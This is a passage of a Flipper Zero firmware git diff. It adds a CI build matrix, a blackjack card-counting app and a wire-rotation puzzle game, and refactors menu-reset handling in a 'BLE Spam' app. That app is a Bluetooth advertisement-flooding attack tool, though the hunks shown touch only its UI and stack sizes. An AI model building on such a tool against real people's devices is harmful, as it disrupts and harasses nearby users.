strategy: + matrix: + include: + - name: Official Dev channel + sdk-channel: dev + - name: Official Release channel + sdk-channel: release + - name: Unleashed Dev + sdk-index-url: https://up.unleashedflip.com/directory.json + sdk-channel: dev + - name: Unleashed Release + sdk-index-url: https://up.unleashedflip.com/directory.json + sdk-channel: release + name: 'fap ufbt build for ${{ matrix.name }}' + steps: + - name: Checkout + uses: actions/checkout@v3 + - name: Build with ufbt + uses: flipperdevices/flipperzero-ufbt-action@v0.1.2 + id: build-app + with: + sdk-channel: ${{ matrix.sdk-channel }} + sdk-index-url: ${{ matrix.sdk-index-url }} + - name: Upload app artifacts + uses: actions/upload-artifact@v3 + with: + name: ${{ github.event.repository.name }}-${{ steps.build-app.outputs.suffix }}-build + path: ${{ steps.build-app.outputs.fap-artifacts }} diff --git a/applications/external/malveke_pokemon_trading/LICENSE b/applications/external/blackjack_counter/LICENSE similarity index 96% rename from applications/external/malveke_pokemon_trading/LICENSE rename to applications/external/blackjack_counter/LICENSE index d24b1013453..eb294ede366 100644 --- a/applications/external/malveke_pokemon_trading/LICENSE +++ b/applications/external/blackjack_counter/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2023 Esteban Fuentealba +Copyright (c) 2023 47LeCoste Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/applications/external/blackjack_counter/README.md b/applications/external/blackjack_counter/README.md new file mode 100644 index 00000000000..cb54e7d3e51 --- /dev/null +++ b/applications/external/blackjack_counter/README.md @@ -0,0 +1,2 @@ +# flipperzero-blackjack_counter-fap +A BlackJack Counter Fap for Flipper Zero embedded Device. diff --git a/applications/external/blackjack_counter/application.fam b/applications/external/blackjack_counter/application.fam new file mode 100644 index 00000000000..573ec016b94 --- /dev/null +++ b/applications/external/blackjack_counter/application.fam @@ -0,0 +1,13 @@ +App( + appid="blackjack_counter", + name="BlackJack Counter", + apptype=FlipperAppType.EXTERNAL, + entry_point="blackjack_counter_main", + stack_size=2 * 1024, + fap_icon="ico_10x10.png", + fap_category="Tools", + fap_author="grugnoymeme", + fap_weburl="https://github.com/grugnoymeme/flipperzero-blackjack_counter-fap", + fap_version=(1, 0), + fap_description="Simple application to keep the count of blackjack cards during the game.", +) diff --git a/applications/external/blackjack_counter/blackjack_conuter.c b/applications/external/blackjack_counter/blackjack_conuter.c new file mode 100644 index 00000000000..65acef62911 --- /dev/null +++ b/applications/external/blackjack_counter/blackjack_conuter.c @@ -0,0 +1,104 @@ +#include +#include +#include +#include +#include +#include + +#include + +#define HOT_COUNT_THRESHOLD 4 +#define BLACKJACK_MENU_TITLE "BlackJack Counter" + +int count = 0; + +static void vibration_hot_count() { + char notification_message[50]; + strcpy(notification_message, "Hot Count Threshold!"); + furi_hal_vibro_on(false); + furi_hal_vibro_on(true); + furi_delay_ms(200); + furi_hal_vibro_on(false); + strcpy(notification_message, ""); + return; +} + +static void app_draw_callback(Canvas* canvas, void* ctx) { + UNUSED(ctx); + + canvas_clear(canvas); + + canvas_set_color(canvas, ColorBlack); + canvas_set_bitmap_mode(canvas, 1); + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 15, 8, BLACKJACK_MENU_TITLE); + + char count_str[5]; + snprintf(count_str, 5, "%d", count); + canvas_set_bitmap_mode(canvas, 1); + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 60, 20, count_str); + + canvas_set_font(canvas, FontSecondary); + canvas_draw_str(canvas, 13, 33, "From 2 to 7 (Press Up)"); + canvas_draw_str(canvas, 18, 43, "For 8 & 9 (Press Ok)"); + canvas_draw_str(canvas, 3, 53, "From 10 to Ace (Press Down)"); + + canvas_draw_str(canvas, -1, 63, "Wait vibration when count's hot"); +} + +static void app_input_callback(InputEvent* input_event, void* ctx) { + furi_assert(ctx); + + FuriMessageQueue* event_queue = ctx; + furi_message_queue_put(event_queue, input_event, FuriWaitForever); +} + +int32_t blackjack_counter_main(void* p) { + UNUSED(p); + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); + + ViewPort* view_port = view_port_alloc(); + view_port_draw_callback_set(view_port, app_draw_callback, view_port); + view_port_input_callback_set(view_port, app_input_callback, event_queue); + + Gui* gui = furi_record_open(RECORD_GUI); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + InputEvent event; + + bool running = true; + while(running) { + if(furi_message_queue_get(event_queue, &event, 100) == FuriStatusOk) { + if((event.type == InputTypePress) || (event.type == InputTypeRepeat)) { + switch(event.key) { + case InputKeyUp: + count += 1; + break; + case InputKeyOk: + break; + case InputKeyDown: + count -= 1; + break; + default: + running = false; + break; + } + + if(count >= HOT_COUNT_THRESHOLD || count <= -HOT_COUNT_THRESHOLD) { + vibration_hot_count(); + } + } + view_port_update(view_port); + } + } + + view_port_enabled_set(view_port, false); + gui_remove_view_port(gui, view_port); + view_port_free(view_port); + furi_message_queue_free(event_queue); + + furi_record_close(RECORD_GUI); + + return 0; +} diff --git a/applications/external/blackjack_counter/ico_10x10.png b/applications/external/blackjack_counter/ico_10x10.png new file mode 100644 index 00000000000..70f5dae794e Binary files /dev/null and b/applications/external/blackjack_counter/ico_10x10.png differ diff --git a/applications/external/ble_spam/application.fam b/applications/external/ble_spam/application.fam index c447160728a..7206d0a1365 100644 --- a/applications/external/ble_spam/application.fam +++ b/applications/external/ble_spam/application.fam @@ -3,7 +3,7 @@ App( name="BLE Spam", apptype=FlipperAppType.EXTERNAL, entry_point="ble_spam", - stack_size=6 * 1024, + stack_size=2 * 1024, fap_icon="ble_spam_10px.png", fap_category="Bluetooth", fap_icon_assets="icons", diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 50da006d3d6..32ff1198b29 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -797,7 +797,7 @@ int32_t ble_spam(void* p) { state->thread = furi_thread_alloc(); furi_thread_set_callback(state->thread, adv_thread); furi_thread_set_context(state->thread, state); - furi_thread_set_stack_size(state->thread, 4096); + furi_thread_set_stack_size(state->thread, 2048); napi_hci_send_req = (int (*)(struct hci_request*, uint8_t))( (uintptr_t)(scan_memory_for_sequence(TARGET_SEQUENCE)) | 0x01); state->ctx.led_indicator = true; diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index e6471df8d78..50fcfae9ec7 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -844,7 +844,6 @@ void scene_continuity_pp_model_on_enter(void* _ctx) { ContinuityCfg* cfg = &payload->cfg.continuity; Submenu* submenu = ctx->submenu; uint32_t selected = 0; - submenu_reset(submenu); bool value = payload->mode == PayloadModeValue || (payload->mode == PayloadModeBruteforce && cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceModel); @@ -882,7 +881,8 @@ bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) { return false; } void scene_continuity_pp_model_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + submenu_reset(ctx->submenu); } static void pp_model_custom_callback(void* _ctx) { @@ -960,7 +960,6 @@ void scene_continuity_pp_color_on_enter(void* _ctx) { ContinuityCfg* cfg = &payload->cfg.continuity; Submenu* submenu = ctx->submenu; uint32_t selected = 0; - submenu_reset(submenu); bool value = payload->mode == PayloadModeValue || (payload->mode == PayloadModeBruteforce && cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceColor); @@ -1006,7 +1005,8 @@ bool scene_continuity_pp_color_on_event(void* _ctx, SceneManagerEvent event) { return false; } void scene_continuity_pp_color_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + submenu_reset(ctx->submenu); } static void pp_color_custom_callback(void* _ctx) { @@ -1069,7 +1069,6 @@ void scene_continuity_pp_prefix_on_enter(void* _ctx) { Submenu* submenu = ctx->submenu; uint32_t selected = 0; bool found = false; - submenu_reset(submenu); submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx); if(cfg->data.proximity_pair.prefix == 0x00) { @@ -1099,7 +1098,8 @@ bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) { return false; } void scene_continuity_pp_prefix_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + submenu_reset(ctx->submenu); } static void pp_prefix_custom_callback(void* _ctx) { @@ -1166,7 +1166,6 @@ void scene_continuity_na_action_on_enter(void* _ctx) { ContinuityCfg* cfg = &payload->cfg.continuity; Submenu* submenu = ctx->submenu; uint32_t selected = 0; - submenu_reset(submenu); submenu_add_item(submenu, "Random", 0, na_action_callback, ctx); if(payload->mode == PayloadModeRandom) { @@ -1202,7 +1201,8 @@ bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) { return false; } void scene_continuity_na_action_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + submenu_reset(ctx->submenu); } static void na_action_custom_callback(void* _ctx) { @@ -1269,4 +1269,4 @@ void scene_continuity_na_flags_on_exit(void* _ctx) { Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00); -} \ No newline at end of file +} diff --git a/applications/external/ble_spam/protocols/easysetup.c b/applications/external/ble_spam/protocols/easysetup.c index 7ab521238eb..f070aea2d0f 100644 --- a/applications/external/ble_spam/protocols/easysetup.c +++ b/applications/external/ble_spam/protocols/easysetup.c @@ -398,7 +398,6 @@ void scene_easysetup_buds_model_on_enter(void* _ctx) { EasysetupCfg* cfg = &payload->cfg.easysetup; Submenu* submenu = ctx->submenu; uint32_t selected = 0; - submenu_reset(submenu); submenu_add_item(submenu, "Random", 0, buds_model_callback, ctx); if(payload->mode == PayloadModeRandom) { @@ -434,7 +433,8 @@ bool scene_easysetup_buds_model_on_event(void* _ctx, SceneManagerEvent event) { return false; } void scene_easysetup_buds_model_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + submenu_reset(ctx->submenu); } static void buds_model_custom_callback(void* _ctx) { @@ -505,7 +505,6 @@ void scene_easysetup_watch_model_on_enter(void* _ctx) { EasysetupCfg* cfg = &payload->cfg.easysetup; Submenu* submenu = ctx->submenu; uint32_t selected = 0; - submenu_reset(submenu); submenu_add_item(submenu, "Random", 0, watch_model_callback, ctx); if(payload->mode == PayloadModeRandom) { @@ -541,7 +540,8 @@ bool scene_easysetup_watch_model_on_event(void* _ctx, SceneManagerEvent event) { return false; } void scene_easysetup_watch_model_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + submenu_reset(ctx->submenu); } static void watch_model_custom_callback(void* _ctx) { diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 7831594a70e..f300e85a6bf 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -728,7 +728,6 @@ void scene_fastpair_model_on_enter(void* _ctx) { FastpairCfg* cfg = &payload->cfg.fastpair; Submenu* submenu = ctx->submenu; uint32_t selected = 0; - submenu_reset(submenu); submenu_add_item(submenu, "Random", 0, model_callback, ctx); if(payload->mode == PayloadModeRandom) { @@ -763,7 +762,8 @@ bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) { return false; } void scene_fastpair_model_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + submenu_reset(ctx->submenu); } static void model_custom_callback(void* _ctx) { @@ -800,4 +800,4 @@ bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) { } void scene_fastpair_model_custom_on_exit(void* _ctx) { UNUSED(_ctx); -} \ No newline at end of file +} diff --git a/applications/external/ble_spam/protocols/lovespouse.c b/applications/external/ble_spam/protocols/lovespouse.c index fc5ea1c4ac9..f7206534ed3 100644 --- a/applications/external/ble_spam/protocols/lovespouse.c +++ b/applications/external/ble_spam/protocols/lovespouse.c @@ -216,7 +216,6 @@ void scene_lovespouse_mode_on_enter(void* _ctx) { LovespouseCfg* cfg = &payload->cfg.lovespouse; Submenu* submenu = ctx->submenu; uint32_t selected = 0; - submenu_reset(submenu); submenu_add_item(submenu, "Random", 0, mode_callback, ctx); if(payload->mode == PayloadModeRandom) { @@ -252,7 +251,8 @@ bool scene_lovespouse_mode_on_event(void* _ctx, SceneManagerEvent event) { return false; } void scene_lovespouse_mode_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + submenu_reset(ctx->submenu); } static void mode_custom_callback(void* _ctx) { diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index b07f74f5de8..955b5867504 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -111,7 +111,6 @@ void scene_swiftpair_name_on_enter(void* _ctx) { Payload* payload = &ctx->attack->payload; SwiftpairCfg* cfg = &payload->cfg.swiftpair; TextInput* text_input = ctx->text_input; - text_input_reset(text_input); text_input_set_header_text(text_input, "Press back for random"); @@ -131,5 +130,6 @@ bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) { return false; } void scene_swiftpair_name_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + text_input_reset(ctx->text_input); } diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c index bc2fc83c303..7a4f9e46ac4 100644 --- a/applications/external/ble_spam/scenes/config.c +++ b/applications/external/ble_spam/scenes/config.c @@ -40,7 +40,6 @@ static void config_callback(void* _ctx, uint32_t index) { void scene_config_on_enter(void* _ctx) { Ctx* ctx = _ctx; VariableItemList* list = ctx->variable_item_list; - variable_item_list_reset(list); variable_item_list_set_header(list, ctx->attack->title); @@ -71,5 +70,6 @@ bool scene_config_on_event(void* _ctx, SceneManagerEvent event) { } void scene_config_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + variable_item_list_reset(ctx->variable_item_list); } diff --git a/applications/external/connect_wires/.gitignore b/applications/external/connect_wires/.gitignore new file mode 100644 index 00000000000..3562f455a4d --- /dev/null +++ b/applications/external/connect_wires/.gitignore @@ -0,0 +1,2 @@ +.vscode/ +dist/ diff --git a/applications/external/connect_wires/LICENSE b/applications/external/connect_wires/LICENSE new file mode 100644 index 00000000000..f99bcec9b6a --- /dev/null +++ b/applications/external/connect_wires/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 Alexander Taran + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/applications/external/connect_wires/README-catalog.md b/applications/external/connect_wires/README-catalog.md new file mode 100644 index 00000000000..bc251ee1f44 --- /dev/null +++ b/applications/external/connect_wires/README-catalog.md @@ -0,0 +1,7 @@ +In this classic puzzle game, your objective is to connect all lamps to a single power source +using wires located between them. + +You have a rectangular field of elements and your task is to turn each of them so wires connect lamps +to the power source. + +The game ends when all the wires are used and deliver power to all lamps. diff --git a/applications/external/connect_wires/README.md b/applications/external/connect_wires/README.md new file mode 100644 index 00000000000..5fd3a88e551 --- /dev/null +++ b/applications/external/connect_wires/README.md @@ -0,0 +1,11 @@ +# "Connect Wires" game for Flipper Zero +- famous puzzle concept +- play on 3 different complexity levels + +![Easy mode](screenshots/1.png) +![Hard mode](screenshots/2.png) +![Mode selection screen](screenshots/3.png) + +#### License +[MIT](LICENSE) +Copyright 2023 Alexander Taran diff --git a/applications/external/connect_wires/application.fam b/applications/external/connect_wires/application.fam new file mode 100644 index 00000000000..b7361738e23 --- /dev/null +++ b/applications/external/connect_wires/application.fam @@ -0,0 +1,13 @@ +App( + appid="connect_wires", + name="Connect Wires", + apptype=FlipperAppType.EXTERNAL, + entry_point="flipper_game_connect_wires", + stack_size=2 * 1024, + fap_category="Games", + fap_icon="flipper_game_connect_wires_10x.png", + fap_author="AlexTaran", + fap_weburl="https://github.com/AlexTaran/flipperzero", + fap_version=(1, 0), + fap_description="A puzzle game about rotating differently shaped wires to connect power source with consumers.", +) diff --git a/applications/external/connect_wires/flipper_game_connect_wires.c b/applications/external/connect_wires/flipper_game_connect_wires.c new file mode 100644 index 00000000000..f301d940b92 --- /dev/null +++ b/applications/external/connect_wires/flipper_game_connect_wires.c @@ -0,0 +1,748 @@ +/* + * Copyright 2023 Alexander Taran + * Use of this source code is governed by an MIT-style + * license that can be found in the LICENSE file or at + * https://opensource.org/licenses/MIT + * + * Thanks to: + * - Eugene Kirzhanov: https://github.com/eugene-kirzhanov/flipper-zero-2048-game + */ + +#include +#include +#include +#include + +#define MAX_FIELD_WIDTH 16 +#define MAX_FIELD_HEIGHT 8 + +#define SCREEN_WIDTH 128 +#define SCREEN_HIGHT 64 + +enum AppStatus { + ST_PLAYING, + ST_MAIN_MENU, + ST_SELECTION_MENU, + ST_ABOUT, + ST_WINNING, +}; + +enum MenuEntryId { + + MN_NEWGAME, + MN_ABOUT, + MN_EXIT, + + MN_EASY, + MN_MEDIUM, + MN_HARD, +}; + +typedef struct { + uint8_t id; + char* text; +} MenuEntry; + +const MenuEntry MainMenu[] = { + {MN_NEWGAME, "New Game"}, + {MN_ABOUT, "About"}, + {MN_EXIT, "Exit"}, + {0, NULL}, +}; + +const MenuEntry SelectionMenu[] = { + {MN_EASY, "Easy (5x5)"}, + {MN_MEDIUM, "Medium (5x10)"}, + {MN_HARD, "Hard (6x12)"}, + {0, NULL}, +}; + +const char* AboutStrings[] = { + "Connect Wires game", + "Turn field cells and connect", + "all lamps to the power source.", + "", + "Alexander Taran, 2023", + "Press any key", + 0}; + +uint8_t menuSize(const MenuEntry* menu) { + uint8_t res = 0; + while(menu[res].text != 0) res++; + return res; +} + +enum EdgeDir { DIR_LEFT, DIR_TOP, DIR_RIGHT, DIR_BOTTOM }; + +static const int8_t DX[4] = {-1, 0, 1, 0}; +static const int8_t DY[4] = {0, -1, 0, 1}; +static const int8_t OPP[4] = {DIR_RIGHT, DIR_BOTTOM, DIR_LEFT, DIR_TOP}; + +static const char* WINNING_MESSAGE = "Congratulations!"; + +const NotificationSequence sequence_winning = { + &message_vibro_on, + &message_delay_50, + &message_vibro_off, + NULL, +}; + +typedef struct { + bool edges[4]; +} GridElement; + +GridElement createGridElement() { + GridElement g; + for(uint8_t i = 0; i < 4; ++i) { + g.edges[i] = false; + } + return g; +} + +void rotate_grid_element(GridElement* elem) { + bool tmp = elem->edges[0]; + for(int8_t i = 0; i < 3; ++i) { + elem->edges[i] = elem->edges[i + 1]; + } + elem->edges[3] = tmp; +} + +uint8_t count_edges(GridElement* elem) { + uint8_t res = 0; + for(uint8_t i = 0; i < 4; ++i) { + if(elem->edges[i]) { + res++; + } + } + return res; +} + +typedef struct { + int8_t x, y; +} Coord; + +Coord createCoord(int8_t x, int8_t y) { + Coord c; + c.x = x; + c.y = y; + return c; +} + +bool eqCoord(Coord* c1, Coord* c2) { + return c1->x == c2->x && c1->y == c2->y; +} + +typedef struct { + Coord fieldSize; + Coord startingPoint; + GridElement elements[MAX_FIELD_WIDTH][MAX_FIELD_HEIGHT]; + Coord currentSelection; + + // calculated properties + bool reachable[MAX_FIELD_WIDTH][MAX_FIELD_HEIGHT]; +} GameState; + +typedef struct { + FuriMutex* mutex; + GameState gameState; + uint8_t status; + uint8_t currentMenuSelection; +} AppState; + +GameState createNewGameState(Coord fieldSize) { + GameState gs; + gs.fieldSize = fieldSize; + Coord start = + createCoord(1 + random() % (gs.fieldSize.x - 2), 1 + random() % (gs.fieldSize.y - 2)); + + gs.startingPoint = start; + + gs.currentSelection = start; + for(uint8_t i = 0; i < MAX_FIELD_WIDTH; ++i) { + for(uint8_t j = 0; j < MAX_FIELD_HEIGHT; ++j) { + gs.elements[i][j] = createGridElement(); + } + } + + // Field generation + bool visited[MAX_FIELD_WIDTH][MAX_FIELD_HEIGHT] = {false}; + Coord* candidates = malloc(gs.fieldSize.x * gs.fieldSize.y * sizeof(Coord)); + uint8_t num_candidates = 0; + candidates[num_candidates] = createCoord(start.x + 1, start.y); + num_candidates++; + candidates[num_candidates] = createCoord(start.x - 1, start.y); + num_candidates++; + candidates[num_candidates] = createCoord(start.x, start.y + 1); + num_candidates++; + candidates[num_candidates] = createCoord(start.x, start.y - 1); + num_candidates++; + visited[start.x][start.y] = true; + + for(uint8_t iteration = 1; iteration < gs.fieldSize.x * gs.fieldSize.y; ++iteration) { + if(num_candidates == 0) { + break; + } + // Picking a candidate until it has good dirs + uint8_t cand_id; + Coord cand; + // Calculating possible dirs for an edge + uint8_t dirs[4]; + uint8_t num_dirs = 0; + while(true) { + cand_id = random() % num_candidates; + cand = candidates[cand_id]; + for(uint8_t i = 0; i < 4; ++i) { + Coord neib = createCoord(cand.x + DX[i], cand.y + DY[i]); + if(neib.x < 0 || neib.y < 0 || neib.x >= gs.fieldSize.x || + neib.y >= gs.fieldSize.y) { + continue; + } + if(visited[neib.x][neib.y] && count_edges(&gs.elements[neib.x][neib.y]) < 3) { + dirs[num_dirs] = i; + num_dirs++; + } + } + if(num_dirs != 0) break; + candidates[cand_id] = candidates[num_candidates - 1]; + num_candidates--; + } + uint8_t dir = dirs[random() % num_dirs]; + + // Generating an edge + Coord neib = createCoord(cand.x + DX[dir], cand.y + DY[dir]); + gs.elements[cand.x][cand.y].edges[dir] = true; + gs.elements[neib.x][neib.y].edges[OPP[dir]] = true; + + visited[cand.x][cand.y] = true; + + // Remove cand from candidates array + candidates[cand_id] = candidates[num_candidates - 1]; + num_candidates--; + // Adding potential candidates + for(uint8_t i = 0; i < 4; ++i) { + Coord newCand = createCoord(cand.x + DX[i], cand.y + DY[i]); + if(newCand.x < 0 || newCand.y < 0 || newCand.x >= gs.fieldSize.x || + newCand.y >= gs.fieldSize.y) { + continue; + } + if(visited[newCand.x][newCand.y]) { + continue; + } + bool found = false; + for(uint16_t cid = 0; cid < num_candidates; ++cid) { + if(eqCoord(&candidates[cid], &newCand)) { + found = true; + break; + } + } + if(found) continue; + candidates[num_candidates] = newCand; + num_candidates++; + } + } + free(candidates); + + return gs; +} + +void shuffle(GameState* gs) { + uint16_t shuffles = 0; + do { + for(uint8_t i = 0; i < gs->fieldSize.x; ++i) { + for(uint8_t j = 0; j < gs->fieldSize.y; ++j) { + uint8_t rounds = rand() % 4; + for(uint8_t r = 0; r < rounds; ++r) { + rotate_grid_element(&gs->elements[i][j]); + shuffles++; + } + } + } + } while(shuffles == 0); // Handling micro chance of no shuffling at all. +} + +void moveSelection(GameState* gs, uint8_t dir) { + Coord* cs = &gs->currentSelection; + cs->x += DX[dir]; + cs->y += DY[dir]; + if(cs->x < 0) cs->x = gs->fieldSize.x - 1; + if(cs->y < 0) cs->y = gs->fieldSize.y - 1; + if(cs->x >= gs->fieldSize.x) cs->x = 0; + if(cs->y >= gs->fieldSize.y) cs->y = 0; +} + +void rotateSelection(GameState* gs) { + Coord* cs = &gs->currentSelection; + rotate_grid_element(&gs->elements[cs->x][cs->y]); +} + +void recalculateReachables(GameState* gs) { + for(uint8_t i = 0; i < gs->fieldSize.x; ++i) { + for(uint8_t j = 0; j < gs->fieldSize.y; ++j) { + gs->reachable[i][j] = false; + } + } + Coord* stack = malloc(gs->fieldSize.x * gs->fieldSize.y * sizeof(Coord)); + stack[0] = gs->startingPoint; + uint8_t stackSize = 1; + while(stackSize > 0) { + Coord curr = stack[stackSize - 1]; + stackSize--; + gs->reachable[curr.x][curr.y] = true; + for(uint8_t i = 0; i < 4; ++i) { + if(!gs->elements[curr.x][curr.y].edges[i]) { + continue; + } + Coord neib = createCoord(curr.x + DX[i], curr.y + DY[i]); + if(neib.x < 0 || neib.y < 0 || neib.x >= gs->fieldSize.x || neib.y >= gs->fieldSize.y) + continue; + if(gs->reachable[neib.x][neib.y] || !gs->elements[neib.x][neib.y].edges[OPP[i]]) { + continue; + } + stack[stackSize] = neib; + stackSize++; + } + } + free(stack); +} + +bool checkIsWinning(GameState* gs) { + uint8_t cnt = 0; + for(uint8_t i = 0; i < gs->fieldSize.x; ++i) { + for(uint8_t j = 0; j < gs->fieldSize.y; ++j) { + if(gs->reachable[i][j]) { + cnt++; + } + } + } + return cnt == gs->fieldSize.x * gs->fieldSize.y; +} + +static void draw_selection(Canvas* canvas, Coord at, uint8_t cellSize, uint8_t cornerSize) { + canvas_draw_line(canvas, at.x, at.y, at.x + cornerSize - 1, at.y); + canvas_draw_line(canvas, at.x, at.y, at.x, at.y + cornerSize - 1); + + canvas_draw_line(canvas, at.x + cellSize - 1, at.y, at.x + cellSize - cornerSize, at.y); + canvas_draw_line( + canvas, at.x + cellSize - 1, at.y, at.x + cellSize - 1, at.y + cornerSize - 1); + + canvas_draw_line(canvas, at.x, at.y + cellSize - 1, at.x, at.y + cellSize - cornerSize); + canvas_draw_line( + canvas, at.x, at.y + cellSize - 1, at.x + cornerSize - 1, at.y + cellSize - 1); + + canvas_draw_line( + canvas, + at.x + cellSize - 1, + at.y + cellSize - 1, + at.x + cellSize - 1, + at.y + cellSize - cornerSize); + canvas_draw_line( + canvas, + at.x + cellSize - 1, + at.y + cellSize - 1, + at.x + cellSize - cornerSize, + at.y + cellSize - 1); +} + +static void draw_interleaved_dots(Canvas* canvas, Coord at, uint8_t size) { + canvas_set_color(canvas, ColorWhite); + for(uint8_t i = 0; i < size; ++i) { + for(uint8_t j = i % 2; j < size; j += 2) { + canvas_draw_dot(canvas, at.x + i, at.y + j); + } + } +} + +static void draw_grid_element_size12(Canvas* canvas, Coord at, Coord element, GameState* gs) { + GridElement* elem = &gs->elements[element.x][element.y]; + + canvas_set_color(canvas, ColorWhite); + canvas_draw_box(canvas, at.x, at.y, 12, 12); + + uint8_t terminate = count_edges(elem) == 1; + canvas_set_color(canvas, ColorBlack); + if(elem->edges[DIR_LEFT]) { + canvas_draw_box(canvas, at.x, at.y + 4, 4 - terminate * 2, 4); + } + if(elem->edges[DIR_RIGHT]) { + canvas_draw_box(canvas, at.x + 8 + terminate * 2, at.y + 4, 4 - terminate * 2, 4); + } + if(elem->edges[DIR_TOP]) { + canvas_draw_box(canvas, at.x + 4, at.y, 4, 4 - terminate * 2); + } + if(elem->edges[DIR_BOTTOM]) { + canvas_draw_box(canvas, at.x + 4, at.y + 8 + terminate * 2, 4, 4 - terminate * 2); + } + if(eqCoord(&element, &gs->startingPoint)) { + canvas_draw_box(canvas, at.x + 2, at.y + 2, 8, 8); + draw_interleaved_dots(canvas, createCoord(at.x + 4, at.y + 4), 4); + canvas_set_color(canvas, ColorBlack); + } else if(!terminate) { + canvas_draw_box(canvas, at.x + 4, at.y + 4, 4, 4); + } else { + if(gs->reachable[element.x][element.y]) { + canvas_draw_line(canvas, at.x + 4, at.y + 2, at.x + 7, at.y + 2); + canvas_draw_line(canvas, at.x + 3, at.y + 3, at.x + 8, at.y + 3); + canvas_draw_box(canvas, at.x + 2, at.y + 4, 8, 4); + canvas_draw_line(canvas, at.x + 3, at.y + 8, at.x + 8, at.y + 8); + canvas_draw_line(canvas, at.x + 4, at.y + 9, at.x + 7, at.y + 9); + } else { + canvas_draw_line(canvas, at.x + 4, at.y + 2, at.x + 2, at.y + 4); + canvas_draw_line(canvas, at.x + 5, at.y + 2, at.x + 2, at.y + 5); + canvas_draw_line(canvas, at.x + 7, at.y + 2, at.x + 9, at.y + 4); + canvas_draw_line(canvas, at.x + 6, at.y + 2, at.x + 9, at.y + 5); + canvas_draw_line(canvas, at.x + 2, at.y + 7, at.x + 4, at.y + 9); + canvas_draw_line(canvas, at.x + 2, at.y + 6, at.x + 5, at.y + 9); + canvas_draw_line(canvas, at.x + 9, at.y + 7, at.x + 7, at.y + 9); + canvas_draw_line(canvas, at.x + 9, at.y + 6, at.x + 6, at.y + 9); + } + } + if(eqCoord(&element, &gs->currentSelection)) { + draw_selection(canvas, at, 12, 3); + } +} + +static void draw_grid_element_size10(Canvas* canvas, Coord at, Coord element, GameState* gs) { + GridElement* elem = &gs->elements[element.x][element.y]; + + canvas_set_color(canvas, ColorWhite); + canvas_draw_box(canvas, at.x, at.y, 10, 10); + canvas_set_color(canvas, ColorBlack); + canvas_draw_box(canvas, at.x + 4, at.y + 4, 2, 2); + if(elem->edges[DIR_LEFT]) { + canvas_draw_box(canvas, at.x, at.y + 4, 4, 2); + } + if(elem->edges[DIR_RIGHT]) { + canvas_draw_box(canvas, at.x + 6, at.y + 4, 4, 2); + } + if(elem->edges[DIR_TOP]) { + canvas_draw_box(canvas, at.x + 4, at.y, 2, 4); + } + if(elem->edges[DIR_BOTTOM]) { + canvas_draw_box(canvas, at.x + 4, at.y + 6, 2, 4); + } + if(eqCoord(&element, &gs->startingPoint)) { + canvas_draw_box(canvas, at.x + 2, at.y + 2, 6, 6); + draw_interleaved_dots(canvas, createCoord(at.x + 